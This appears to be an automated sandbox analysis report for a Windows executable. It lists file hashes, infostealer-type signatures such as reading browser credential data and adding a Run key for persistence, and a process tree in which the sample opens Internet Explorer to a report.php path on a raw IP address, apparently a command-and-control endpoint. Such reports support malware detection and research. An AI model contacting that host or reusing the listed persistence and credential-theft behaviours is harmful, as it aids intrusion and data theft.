Windows 7 deprecation

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Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2023, 12:32

General

  • Target

    236df6fdd48f958ac61ed2e13b0e3b47.exe

  • Size

    1.3MB

  • MD5

    236df6fdd48f958ac61ed2e13b0e3b47

  • SHA1

    0438401d2ff05c177fe5f4d1271c7cf5f2d29d13

  • SHA256

    61cd322d048ad90e9dad7dcfad30c40135c765b24a4f16b494aa470459478a3c

  • SHA512

    ee8ac8b36929f7700a61b2f4908d99dcd3d20043bf3ea96943c5408d1ac6818d7ddde4536c0b5817b27d962177c3e09e654b5ad09659be7b0fc46235695697c1

  • SSDEEP

    24576:U40mG7+nNoclcR1du5iJ1qTW9wEgZLS/KWlGYDmhnMqfcm+:UlyxlcR1doiJsOwEGLl3imhnMqfO

Malware Config

Signatures

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Modifies Internet Explorer settings 1 TTPs 37 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\236df6fdd48f958ac61ed2e13b0e3b47.exe
    "C:\Users\Admin\AppData\Local\Temp\236df6fdd48f958ac61ed2e13b0e3b47.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Program Files\Internet Explorer\IEXPLORE.exe
      "C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:228
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:228 CREDAT:17410 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:3992

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8PO8IKDM\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • C:\odt\office2016setup.exe

    Filesize

    6.4MB

    MD5

    53967d7cc30aec66dcf42fcaa482bd90

    SHA1

    c0b28f623c708f5f16b7dce1599e7e8e26149c94

    SHA256

    ee8f723eca971f969c00cb333abe22e7ff26a56084c7f95fc67084c52b4c9ca7

    SHA512

    8cb12064cf1c70b1446a4306b4c73a576afdfde26cae83a5c640a5893d2bb15155b51cd04c169b44540b25a9ef21f2854f885a76228156278f26c8cfed74fe1d